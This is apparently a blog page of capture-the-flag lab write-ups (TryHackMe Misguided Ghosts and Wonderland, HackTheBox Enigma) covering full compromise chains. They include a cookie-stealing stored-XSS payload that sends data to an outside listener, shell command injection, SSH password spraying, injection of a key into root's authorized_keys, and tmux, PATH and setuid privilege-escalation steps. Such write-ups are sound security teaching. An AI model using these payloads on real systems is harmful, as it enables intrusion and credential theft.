  -T fields -e tls.handshake.extensions_server_name | sort -u

bobloblaw321.wixsite.com
www.jake-ruston.com

The five SYNs are the knock sequence:

7864 8273 9241 12007 60753

6. Port knocking → 8080

Timing matters. A slow, one-port-at-a-time knock appears to do nothing; the sequence must
arrive within a short window. A loop with ~0.15 s spacing works:

for p in 7864 8273 9241 12007 60753; do
  nc -z -w1 "$TARGET" "$p"
  sleep 0.15
done

Then verify the newly opened port:

nmap -Pn -p8080 -sV "$TARGET"

8080/tcp open  ssl/http  Werkzeug/1.0.1 Python/2.7.18

The port stays open for the rest of the session once knocked.

Gotcha: knock is not installed on this host; the nc -z loop is sufficient.

7. HTTPS service recon

8080 is HTTPS with a self-signed certificate. Read the certificate for names/emails:

openssl s_client -connect "$TARGET:8080" </dev/null 2>/dev/null \
  | openssl x509 -noout -subject -issuer -ext subjectAltName

Observed:

subject=CN = misguided_ghosts.thm
emailAddress = zac@misguided_ghosts.thm

So the app knows about zac. Browse the root (raw Burp request):

GET / HTTP/1.1
Host: 10.113.167.11:8080
Connection: close

The page is a "Misguided Ghosts" login/dashboard app.

8. Web login

The certificate leaked a username, and the app is a lab — try the obvious pair.
zac:zac works.

Raw request:

POST /login HTTP/1.1
Host: 10.113.167.11:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Connection: close

username=zac&password=zac

Response:

HTTP/1.0 302 FOUND
Location: /dashboard
Set-Cookie: login=zac_from_paramore

Authenticated as zac with cookie login=zac_from_paramore.

The dashboard allows a user to store a post (title + subtitle). Only the latest post per
user is rendered in "Your posts", so re-post to update a payload.

9. Mapping the XSS filter

Before writing a payload, map the filter with benign probes. The form rejects a request if
the title or subtitle contains:

a raw < or >;
an event handler matching on[a-z]*=;
a numeric parenthesised expression matching $[0-9]+$.

Then it does one .replace('script', '') and then HTML-unescapes the value.

The server-side logic (confirmed later in app.py):

def xss(title, subtitle):
  return True in [
    '<' in title or '<' in subtitle,
    '>' in title or '>' in subtitle,
    re.search(' on[a-z]*=|\\([0-9]+\\)', title, re.IGNORECASE) is not None,
    re.search(' on[a-z]*=|\\([0-9]+\\)', subtitle, re.IGNORECASE) is not None
  ]

post = (
  escape(request.form['title'].replace('script', '')),
  escape(request.form['subtitle'].replace('script', ''))
)

escape() is HTMLParser().unescape() — so entities are decoded after the checks.
That ordering is the bug.

Practical consequences:

Input	Result
`<script>alert(1)</script>`	rejected (raw `<`/`>`)
`<script>...`	passes the check, then decodes to a real tag
`script`	deleted once
`sscriptcript`	after one replace → `script`
`onerror=`	rejected
`alert(1)`	rejected by `$[0-9]+$`

So: entity-encode the brackets, double the tag word, and avoid parentheses/event handlers.

10. Stored XSS → admin cookie

Start a listener on the attacker host:

python3 -m http.server "$LPORT"

Payload (entered as the post title or subtitle):

&lt;sscriptcript&gt;document.location='http://192.168.176.34:8000/probe?c='+document.cookie&lt;/sscriptcript&gt;

After the filter:

syntax checks pass (no raw </>, no on*=, no (digits));
.replace('script','') turns sscriptcript into script;
unescape() turns the entities into < and >;
the browser receives:

<script>document.location='http://192.168.176.34:8000/probe?c='+document.cookie</script>

No parentheses and no event handler are needed — document.location = URL + string is
valid JavaScript.

The admin bot visited the post roughly every two minutes. Listener log:

GET /probe?c=login%3Dhayley_is_admin

URL-decoded:

login=hayley_is_admin

That is the administrator session cookie. Save it:

echo 'login=hayley_is_admin' > evidence/admin_cookie.txt

11. Admin session and /photos

Replay the stolen cookie against the dashboard:

GET /dashboard HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close

Response: 200 OK, page contains Welcome, Hayley.

Now enumerate the admin-only surface. /photos behaves differently by role:

GET /photos HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=zac_from_paramore
Connection: close

→ redirect/404.

GET /photos HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close

→ 200 OK, an upload form that submits ?image=.

Save the page for evidence:

# response body saved as evidence/photos.html

12. Command injection → container root

The /photos handler takes image from the query string. Source:

@app.route('/photos', methods=['GET'])
def photos():
    img = None
    login = request.cookies.get('login')
    image = request.args.get('image')

    if login != hayley_cookie:
        return redirect(url_for('dashboard'), code=404)

    if image:
        image = image.replace(' ', '')
        try:
            img = str(subprocess.check_output('ls ' + image, shell=True))
        except:
            img = 'cannot access \'' + image + '\': No such file or directory'

    return render_template('photos.html', image=img)

subprocess.check_output('ls ' + image, shell=True) is the sink. The only filter is
image.replace(' ', ''), so use ${IFS} wherever a space is needed.

Probe with id:

GET /photos?image=%2Fetc%2Fpasswd%3Bid HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close

The page's <pre> contains:

/etc/passwd
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...

So the web app runs as root inside the container.

The encoding rule for any command:

image = "/etc/passwd;" + command.replace(" ", "${IFS}")
then URL-encode the whole value

Useful encoded requests:

Command	`image` value	URL-encoded
`id`	`/etc/passwd;id`	`%2Fetc%2Fpasswd%3Bid`
`cat /app/app.py`	`/etc/passwd;cat${IFS}/app/app.py`	`%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fapp.py`
`cat /app/start.sh`	`/etc/passwd;cat${IFS}/app/start.sh`	`%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fstart.sh`
`cat /app/Dockerfile`	`/etc/passwd;cat${IFS}/app/Dockerfile`	`%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2FDockerfile`
`ls -la /home/zac/notes`	`/etc/passwd;ls${IFS}-la${IFS}/home/zac/notes`	`%2Fetc%2Fpasswd%3Bls%24%7BIFS%7D-la%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes`
`cat /home/zac/notes/.secret`	`/etc/passwd;cat${IFS}/home/zac/notes/.secret`	`%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes%2F.secret`
`cat /home/zac/notes/.id_rsa`	`/etc/passwd;cat${IFS}/home/zac/notes/.id_rsa`	`%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes%2F.id_rsa`

Gotcha: in a shell wrapper, do not write \${IFS} — the backslash is sent literally
and the command fails with cannot access '...\${IFS}...'. Emit a real ${IFS}.

13. Container and deployment enumeration

Read the app and launcher:

GET /photos?image=%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fstart.sh HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close

/app/start.sh:

#!/bin/bash

/usr/bin/docker build -t https /var/www/https

/usr/bin/docker container run --detach --privileged --restart=unless-stopped \
  -p 8080:8080 \
  --mount type=bind,source="/home/zac/notes",target=/home/zac/notes https

Two critical facts:

the container is --privileged;
the host directory /home/zac/notes is bind-mounted into it.

/app/Dockerfile:

FROM python:2.7-alpine
MAINTAINER jakeyee and bobloblaw

COPY . /app
WORKDIR /app

RUN pip install -r requirements.txt

EXPOSE 8080
ENTRYPOINT ["python"]
CMD ["app.py"]

Container identity:

hostname          # 67397bb74710
cat /etc/os-release
# NAME="Alpine Linux"
# VERSION_ID=3.11.5

14. Host-mounted notes

Because the host directory is mounted, the container can read it directly.

GET /photos?image=%2Fetc%2Fpasswd%3Bls%24%7BIFS%7D-la%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close

Listing includes .secret and .id_rsa.

.secret:

Zac,

I know you can never remember your password, so I left your private key here so you don't
have to use a password. I ciphered it in case we suffer another hack, but I know you
remember how to get the key to the cipher if you can't remember that either.

- Paramore

.id_rsa is not a usable PEM — it is the base64 key body with a substitution cipher.
Save it locally:

# paste the response body into:
loot/zac/id_rsa.ciphered

15. Recovering the Vigenère-ciphered RSA key

The note says "I ciphered it … remember how to get the key to the cipher". A 2048-bit
PKCS#1 RSA private key's base64 body starts with a known prefix, usually
MIIEowIBAAKCAQEA. That is enough to derive the Vigenère key stream.

Derive the first 16 key characters:

ct = "".join(open("loot/zac/id_rsa.ciphered").read().split())
known = "MIIEowIBAAKCAQEA"

stream = "".join(
    chr((ord(c.upper()) - ord(p.upper())) % 26 + ord('a'))
    for c, p in zip(ct, known)
    if c.isalpha() and p.isalpha()
)
print(stream)
# butterflybutterf

The repeating key is butterfly.

Decrypt the whole body:

import base64

ct = "".join(open("loot/zac/id_rsa.ciphered").read().split())
key = "butterfly"

out, ki = [], 0
for ch in ct:
    if ch.isalpha():
        sh = ord(key[ki % len(key)]) - ord('a')
        base = ord('A') if ch.isupper() else ord('a')
        out.append(chr((ord(ch) - base - sh) % 26 + base))
        ki += 1
    else:
        out.append(ch)

body = "".join(out)
pem = (
    "-----BEGIN RSA PRIVATE KEY-----\n"
    + "\n".join(body[i:i+64] for i in range(0, len(body), 64))
    + "\n-----END RSA PRIVATE KEY-----\n"
)
open("loot/zac/id_rsa", "w").write(pem)

Critical detail: the key advances only on alphabetic characters. Digits, +, and /
are copied unchanged and do not consume a key character. Advancing on every character
produces a DER that looks plausible but fails ASN.1 parsing.

Validate and lock down permissions:

chmod 600 loot/zac/id_rsa
openssl rsa -in loot/zac/id_rsa -check -noout
# RSA key ok

16. SSH as zac

ssh -i loot/zac/id_rsa \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  zac@10.113.167.11 'id; hostname; cat /etc/os-release | head -2'

uid=1001(zac) gid=1001(zac) groups=1001(zac)
misguided_ghosts
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"

We are now on the host, not the container.

17. Host enumeration and SMB discovery

ssh -i loot/zac/id_rsa zac@10.113.167.11 '
  echo "== id =="; id
  echo "== home =="; ls -la /home/zac
  echo "== /home =="; ls -la /home
  echo "== listening =="; ss -tlnp
  echo "== samba =="; ps aux | grep -Ei "smb|samba" | grep -v grep
'

Findings:

/home/zac/notes is the same directory that was mounted into the container.
/home/hayley is drwxr-x--- hayley hayley — not readable as zac.
SMB is listening, but only on loopback:

LISTEN 0 128 127.0.0.1:139 0.0.0.0:*
LISTEN 0 128 127.0.0.1:445 0.0.0.0:*

Read the Samba config:

cat /etc/samba/smb.conf

Relevant share:

[local]
  comment = Local list of passwords for our services
  path = /var/smb
  read only = yes
  browsable = yes
  guest ok = yes

guest ok = yes means anonymous access. But the service is bound to localhost, so we need
a tunnel.

18. SMB tunnel and password list

Forward the target's localhost 445 to the attacker's localhost 1445 over the existing
SSH session:

ssh -f -N \
  -o ExitOnForwardFailure=yes \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -i loot/zac/id_rsa \
  -L 127.0.0.1:1445:127.0.0.1:445 \
  zac@10.113.167.11

List shares and download the file:

smbclient -L //127.0.0.1 -p 1445 -N
smbclient //127.0.0.1/local -p 1445 -N -c 'ls; get passwords.bak'

passwords.bak contains 20 candidate passwords (lab data):

pft7vPl
HQ@5Y64
Ls7kZxv
KPBRFJz
fKtBSbx
FWbnrxr
Kz#SPqn
c4CTRWm
5asYk73
WikHqvi
aBc123!
JPXxIMs
AHwbOmm
tXWsJ3J
QJPQWW0
3bmBhNv
xV!sce1
1bJP1af
DLH4cgw
bRBdPRk

19. Hayley credentials and user flag

Try each password once over SSH as hayley:

while read -r p; do
  out=$(sshpass -p "$p" ssh \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=8 \
    -o PreferredAuthentications=password \
    -o PubkeyAuthentication=no \
    hayley@10.113.167.11 'id' 2>/dev/null)
  if [ -n "$out" ]; then
    echo "FOUND: $p => $out"
    break
  fi
done < loot/passwords.bak

Result:

FOUND: aBc123! => uid=1000(hayley) gid=1000(hayley) groups=1000(hayley),1002(paramore)

Note the paramore group — that is the privesc key.

Read the user flag:

sshpass -p 'aBc123!' ssh hayley@10.113.167.11 'cat /home/hayley/user.txt'

{d0ck3r_35c4p3}

20. tmux socket hijack → root

Look for root processes:

sshpass -p 'aBc123!' ssh hayley@10.113.167.11 '
  ps aux | grep -i "[t]mux"
  find / -type s 2>/dev/null
'

root 1001 ... /usr/bin/tmux -S /opt/.details new -s vpn -d
...
/opt/.details

Check the socket permissions:

ls -la /opt/.details

srw-rw---- 1 root paramore 0 Oct 23 04:39 /opt/.details

The socket is owned by root:paramore with group read/write. hayley is in paramore,
so she can talk to the root-owned tmux server. Any command sent to that socket is
processed by the server, which runs as root.

Confirm the session:

tmux -S /opt/.details ls

vpn: 1 windows (created Fri Oct 23 04:39:56 2026) [80x24]

Run a command as root (no TTY/attach needed — new-session -d is detached):

tmux -S /opt/.details new-session -d \
  "id > /tmp/.vi; cat /root/root.txt > /tmp/.vr"

cat /tmp/.vi
cat /tmp/.vr

uid=0(root) gid=0(root) groups=0(root)
{p1v0t1ng_15_fun}

Root flag: {p1v0t1ng_15_fun}.

Why this works: tmux authenticates to its server over a Unix socket. The server was started
by root and is group-readable/writable by paramore; a client in that group can issue
server commands, and those commands inherit the server's UID (root).

21. Cleanup

Remove the temporary files created during privesc, using the same root tmux context:

tmux -S /opt/.details new-session -d "rm -f /tmp/.vi /tmp/.vr"
ls /tmp/.vi /tmp/.vr
# No such file or directory

Stop the local tunnel and listener:

# kill by PID, not pkill -f (the pattern matches your own shell)
pid=$(ss -ltnp 2>/dev/null | grep ':1445 ' | grep -oE 'pid=[0-9]+' | head -1 | cut -d= -f2)
[ -n "$pid" ] && kill "$pid"

pid=$(ss -ltnp 2>/dev/null | grep ':8000 ' | grep -oE 'pid=[0-9]+' | head -1 | cut -d= -f2)
[ -n "$pid" ] && kill "$pid"

No persistence, no account changes, no service modification was left behind. The stored XSS
post lives only in the app's in-memory post global.

Appendix A — credentials and ports

Item	Value
FTP	anonymous
Web login	`zac:zac` → `login=zac_from_paramore`
Admin cookie (stolen)	`login=hayley_is_admin`
SSH `zac`	RSA key recovered from `/home/zac/notes/.id_rsa`
SSH `hayley`	`aBc123!`
Vigenère key	`butterfly`
Knock sequence	`7864 8273 9241 12007 60753`
Hidden web port	`8080/tcp` HTTPS (Werkzeug 1.0.1 / Python 2.7.18)
SMB	`127.0.0.1:139/445`, share `[local]`, guest OK
tmux socket	`/opt/.details` (`srw-rw---- root:paramore`)

Appendix B — gotchas and dead ends

TTL 62 / SSH banner = Linux. The scope template mentioned Windows AD; the actual target is Linux. Don't waste time on AD paths.
The target drops ICMP. Always scan with -Pn after the initial footprint.
Knock timing is strict. Slow probes do nothing. The five ports must be hit in order within a short window (~0.15 s spacing). Once open, 8080 stays open.
The knock opens HTTPS, not HTTP. Use https:// / usesHttps:true.
XSS filter order is the bug. Checks run before entity decoding, and script is removed only once. Use </> + sscriptcript; avoid on*= and numeric parentheses.
Spaces are stripped in ?image=. Use ${IFS}. In a shell wrapper, don't emit \${IFS} — the backslash is sent literally.
The Vigenère key advances only on letters. Digits, +, / are unchanged and do not consume a key character. The other variant yields invalid ASN.1.
SMB is localhost-only. A direct scan will never show it; forward it with ssh -L 1445:127.0.0.1:445.
pkill -f "<forward string>" kills your own shell because the pattern appears in the invoking command line. Kill by PID from ss -ltnp.
Only the latest post per user is shown. Re-post to update the XSS payload.
The privileged container also allows a cgroup release_agent escape to host root. It was available but not executed; the mounted key + tmux path was lower impact.
Public blog screenshots were unreliable (static.wixstatic.com reset TLS, Wayback partly offline). The chain above was derived directly from the target.

THM-Wonderland Writeup

Muhammad Saad — Tue, 22 Sep 2026 20:23:03 +0000

Wonderland is a Linux privilege escalation room where the goal is to move through multiple low-privileged users and eventually gain root access. The room focuses on techniques such as web enumeration, SSH access, Python module hijacking, PATH hijacking, SUID binaries, and Linux capabilities

Active Recon

nmap -sSV -sC -Pn -T4 --min-rate 1000 -p- 10.48.186.218 -oN wonderland_nmap.txt
Open Ports: 22 (SSH) and 80 (HTTP)

Initial Access

Navigating to:
http://10.48.186.218/r/a/b/b/i/t/
The page source reveals credentials that can be used to obtain an initial SSH foothold.

After logging in, the user flag can be retrieved:
cat /home/root/user.txt

Privilege Escalation

1. Alice → Rabbit — Python Module Hijacking

sudo -l cat > /home/alice/random.py <<'EOF' import os os.system("/bin/bash") EOF sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

2. Rabbit → Hatter — SUID + PATH Hijacking

ls -la /home/rabbit/teaParty 
-rwsr-sr-x 1 root root ... teaParty

file teaParty 
ltrace -s 200 ./teaParty system("/bin/echo -n 'Probably by ' && date --date='next hour' -R")

mkdir -p /tmp/wonderland 
cat > /tmp/wonderland/date <<'EOF' #!/bin/bash /bin/bash EOF

chmod +x /tmp/wonderland/date 
export PATH=/tmp/wonderland:$PATH 
/home/rabbit/teaParty

3. Hatter → Root — Linux Capability Abuse

cat /home/hatter/password.txt 
ssh hatter@10.48.186.218 
getcap -r / 2>/dev/null 
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";' 
cat /home/alice/root.txt

Thank you for reading. I hope you enjoyed this story and found it helpful.😊

LinkedIn: https://www.linkedin.com/in/muhammad-saad-9818502b3/
Guthub: https://github.com/msaadraj
Medium: https://medium.com/@0x7ipher

HTB-Enigma Writeup

Muhammad Saad — Mon, 21 Sep 2026 05:52:50 +0000

Enigma is an easy Linux machine on Hack The Box that requires chaining network file sharing, email enumeration, and local misconfigurations to achieve full system compromise.

Active Recon

nmap -sSV -sC -Pn -T4 --min-rate 1000 -p- 10.129.139.137 > enigma_nmap.txt

Open ports:
80, 110, 111, 143, 993, 995, 2049, 41393, 43313, 46985, 54279, 56515

Interesting service:
2049/tcp open  nfs  3-4 (RPC #100003)

NFS Enumeration

showmount -e enigma.htb

Export list for enigma.htb: 
/srv/nfs/onboarding *

Mount the NFS share:

sudo mkdir /mnt/enigma 
sudo mount -t nfs enigma.htb:/srv/nfs/onboarding /mnt/enigma
ls -la /mnt/enigma

-rw-r--r-- 1 root root 1751 Feb 20 2026 New_Employee_Access.pdf

The PDF contained webmail credentials:

URL:      http://mail001.enigma.htb
Username: kevin
Password: *******

From Kevin's mailbox, additional username was also discovered: sarah

Initial Access

The same password worked for Sarah's mailbox:

Username: sarah
Password: ******

Sarah's mailbox contained an OpenSTAManager access request:

URL:      http://support_001.enigma.htb
Username: admin
Password: ******

OpenSTAManager was running: Version: 2.9.8 (R5ff39df9b)

The application was vulnerable to file upload exploitation via:
CVE-2025-69212

This resulted in command execution as:
www-data

Low-Privilege Enumeration

After obtaining www-data, local listening services were enumerated:
ss -lntp

Interesting services:
127.0.0.1:3306
127.0.0.1:1337

MySQL credentials were found in the OpenSTAManager configuration:
cat /var/www/html/openstamanager/config.inc.php

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = '*******';

Connect to MySQL: mysql -h 127.0.0.1 -u brollin -p

USE openstamanager;
The zz_users table contained the haris user's password hash.
After cracking the hash, the credentials were discovered.
SSH access was then obtained as haris.
cat /home/haris/user.txt

Privilege Escalation

The service running on port 1337 was identified as OliveTin.
curl 127.0.0.1:1337

Since the service was bound to localhost, an SSH tunnel was created:
ssh -L 1337:127.0.0.1:1337 haris@enigma.htb

OliveTin configuration: cat /etc/OliveTin/config.yaml

The configuration contained a Backup Database action:

- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"

The db_pass parameter was vulnerable to command injection.

A harmless proof-of-concept was used first: test'; id > /tmp/olivetin_poc; echo '

Then: cat /tmp/olivetin_poc

uid=0(root) gid=0(root) groups=0(root)
This confirmed command execution as root.

Root Access

Generate an SSH key on Kali:

ssh-keygen -t ed25519
cat ~/.ssh/id_ed25519.pub

The public key was injected through the vulnerable db_pass parameter:

test'; mkdir -p /root/.ssh; echo '<YOUR_PUBLIC_KEY>' >> /root/.ssh/authorized_keys; chmod 600 echo '

Then connect as root:

ssh -i ~/.ssh/id_ed25519 root@10.129.139.137
whoami
root

Finally: cat /root/root.txt

Root obtained.

Thank you for reading. I hope you enjoyed this story and found it helpful.😊

LinkedIn: https://www.linkedin.com/in/muhammad-saad-9818502b3/
Guthub: https://github.com/msaadraj
Medium: https://medium.com/@0x7ipher

DEV Community: Muhammad Saad

THM Crypto Failures — Full Walkthrough

1. Recon

2. Reading the scheme

3. Logging in as admin

4. Recovering the encryption key

Validation

Answers

Why this is broken / how to fix it

Gotchas

THM Operation Reroute — Full Walkthrough

0. Tooling used in this walkthrough

1. Scenario

2. Methodology

3. Access and topology

4. Recon — commands run

5. The insight — a prefix collision

6. Hijack — originate 10.10.10.10/32

7. Capture — become the 10.10.10.10 server

8. Answer

Appendix A — command index (quick reference)

Appendix B — tooling notes for this lab

THM Misguided Ghosts — Full Walkthrough

Misguided Ghosts — Full Walkthrough (0 → root.txt)

Contents

0. Scope and variables

1. Initial footprint

2. Enumeration — full port scan

3. Service enumeration

4. Anonymous FTP

5. PCAP analysis — the hidden clue

6. Port knocking → 8080

7. HTTPS service recon

8. Web login

9. Mapping the XSS filter

10. Stored XSS → admin cookie

11. Admin session and /photos

12. Command injection → container root

13. Container and deployment enumeration

14. Host-mounted notes

15. Recovering the Vigenère-ciphered RSA key

16. SSH as zac

17. Host enumeration and SMB discovery

18. SMB tunnel and password list

19. Hayley credentials and user flag

20. tmux socket hijack → root

21. Cleanup

Appendix A — credentials and ports

Appendix B — gotchas and dead ends

THM-Wonderland Writeup

Active Recon

Initial Access

Privilege Escalation

HTB-Enigma Writeup

Active Recon

NFS Enumeration

Initial Access

Low-Privilege Enumeration

Privilege Escalation

Root Access

7. Capture — become the `10.10.10.10` server